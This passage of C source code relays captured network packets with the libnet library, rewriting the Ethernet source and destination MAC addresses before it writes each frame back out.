/* relay this packet */
memcpy(ether->ether_dhost, mac, 6);
memcpy(ether->ether_shost, brian_context->my_mac, 6);
ether_ptag = libnet_build_ethernet(
mac,
ether->ether_shost,
ETHERTYPE_IP,
(u_char *)body,
header->len - 14,
brian_context->libnet_context,
ether_ptag);
if (libnet_write(brian_context->libnet_context) == -1)
{
printf("libnet_write failed\n");
/* don't exit at this point */
}
libnet_clear_packet(brian_context->libnet_context);
}
}